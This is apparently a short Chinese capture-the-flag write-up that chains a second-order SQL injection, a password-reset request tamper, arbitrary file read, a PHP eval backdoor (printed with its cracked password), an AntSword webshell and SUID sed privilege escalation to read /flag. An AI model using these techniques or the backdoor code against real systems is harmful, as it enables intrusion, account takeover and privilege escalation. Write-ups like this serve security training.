首先注册低权限用户,尝试通过二次注入修改admin的密码
注册admin"#的用户,修改密码时修改的是admin的密码
成功修改并登录admin
在req.js中找到updatepass源码,根据源码,admin和saying为base64编码,oldpass和newpass则为MD5加密,修改数据包传参修改root的密码,旧密码好像不管是什么都可以成功修改。
登录root之后可以下载文件,抓数据包发现传入filename参数,存在文件读取
在phpinfo.php中找到后门,
if(md5(@$_GET['pass_31d5df001717'])==='3fde6bb0541387e4ebdadf7c2ff31123'){@eval($_GET['cc']);}
3fde6bb0541387e4ebdadf7c2ff31123==>1q2w3e
不知道为什么用cc连不上,令cc=eval($_POST[1]);再用蚁剑连,成功。
然后用suid提权
find / -perm -u=s -type f 2>/dev/null
找到sed命令
sed '1p' /flag 成功读取